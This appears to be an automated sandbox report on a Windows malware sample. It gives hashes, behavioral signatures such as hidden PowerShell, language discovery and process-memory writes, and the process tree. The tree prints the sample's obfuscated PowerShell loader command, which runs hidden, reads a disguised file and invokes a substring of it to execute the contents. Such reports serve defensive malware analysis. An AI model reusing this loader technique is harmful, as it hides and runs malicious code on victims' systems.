Analysis
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max time kernel
118s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
16-11-2024 02:09
Static task
static1
Behavioral task
behavioral1
Sample
134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Chromonemal.ps1
Resource
win7-20240729-en
Behavioral task
behavioral4
Sample
Chromonemal.ps1
Resource
win10v2004-20241007-en
General
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Target
134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe
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Size
682KB
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MD5
6e62c2f3acd34a6cf4eee9f493ceb3a1
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SHA1
dc025bd9290f738c1870f7d9861da95af549dfd0
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SHA256
134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19
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SHA512
20beb4e7572a1026603399676dc55573105f2359d418aa504f73a8486337b1843ab9ea8db6ccd3bd11b05ff2686b3cefdadbbef321d7da546da9a733b7c626e9
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SSDEEP
12288:G0mnA1zxuAL9BFGFx6Dpu/ay+xSnliR6r9t3DSDb4NF:uA1zxumVoIDIikcu3ewb
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2812 powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\resources\0409\propangas.lem 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2812 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2812 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2804 wrote to memory of 2812 2804 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe 30 PID 2804 wrote to memory of 2812 2804 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe 30 PID 2804 wrote to memory of 2812 2804 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe 30 PID 2804 wrote to memory of 2812 2804 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe 30
Processes
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C:\Users\Admin\AppData\Local\Temp\134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe"C:\Users\Admin\AppData\Local\Temp\134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Binomialfordelt=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg';$Archibuteo=$Binomialfordelt.SubString(54418,3);.$Archibuteo($Binomialfordelt)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2812
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